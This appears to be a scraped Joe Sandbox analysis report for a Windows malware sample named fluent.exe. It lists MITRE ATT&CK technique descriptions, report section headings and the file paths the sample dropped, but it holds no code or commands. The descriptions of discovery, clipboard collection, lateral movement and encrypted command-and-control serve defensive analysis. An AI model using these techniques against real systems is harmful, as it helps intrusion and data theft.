Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fluent.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\51176c96b1e3a4

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

C:\Recovery\51176c96b1e3a4

C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe

C:\Users\Default\AppData\Roaming\51176c96b1e3a4

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\51176c96b1e3a4

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\gNKaMdWfDFzDkhEeKzQ.exe

C:\Users\Default\AppData\Roaming\gNKaMdWfDFzDkhEeKzQ.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\driverSavesNet.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\gNKaMdWfDFzDkhEeKzQ.exe.log

Windows Analysis Report
fluent.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre